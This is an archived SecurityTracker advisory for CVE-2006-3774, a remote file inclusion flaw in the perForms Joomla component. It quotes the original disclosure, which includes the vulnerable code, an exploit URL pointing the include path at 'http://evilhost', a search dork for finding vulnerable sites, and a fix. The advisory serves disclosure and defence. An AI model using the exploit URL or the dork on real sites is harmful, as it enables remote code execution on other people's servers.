SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   perForms Vendors:   perForms
perForms Include File Error in 'mosConfig_absolute_path' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016498
SecurityTracker URL:  http://securitytracker.com/id/1016498
CVE Reference:   CVE-2006-3774   (Links to External Site)
Updated:  Jul 18 2008
Original Entry Date:  Jul 14 2006
Impact:   Execution of arbitrary code via network, User access via network

Version(s): 1.0 and prior versions
Description:   A vulnerability was reported in the perForms component for Joomla. A remote user can include and execute arbitrary code on the target system.

The software does not properly validate user-supplied input in the 'mosConfig_absolute_path' parameter. If register_globals is enabled, a remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/components/com_performs/performs.php?mosConfig_absolute_path=http://evilhost

endeneu at linuxmail.com reported this vulnerability.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  forge.joomla.org/sf/projects/performs (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  perForms <= 1.0 ([mosConfig_absolute_path]) Remote File Inclusion

---------------------------------------------------------------------------
 perForms  <= 1.0 ([mosConfig_absolute_path]) Remote File Inclusion
---------------------------------------------------------------------------

 Remote : Yes
 Critical Level : High

 Vuln founded in a log file: lazy 0day!!! :D



 Description:
 ~~~~~~~~~~~~

 Application :  perForms Joomla Component
 Version : latest version [1.0]
 URL : http://forge.joomla.org/sf/projects/performs

 Variable $mosConfig_absolute_path not sanitized: xpl works with register_globals=on 

 in /components/com_performs/com_performs/performs.php on lines 6-10

 require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib_template.php" );
 require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib_valid.php" );
 require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/lib_phpForm.php" );
 require_once( $mosConfig_absolute_path."/administrator/components/com_performs/lib/myLib.php" );
 require_once($mosConfig_absolute_path."/administrator/components/com_performs/class.performs.php");


 Exploit:
 ~~~~~~~~
 
 dork: inurl:"com_performs" -> founds ~12.000 sites (!)

 http://www.vuln.com/components/com_performs/performs.php?mosConfig_absolute_path=http://evilhost


 Fix
 ~~~~

 Add before code:

 defined('_VALID_MOS') or die('Direct access to this location is not allowed.');


 Thx
 ~~~~

 Who works for better code and better life!


----------------------------------------------------------------------------------------------------

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC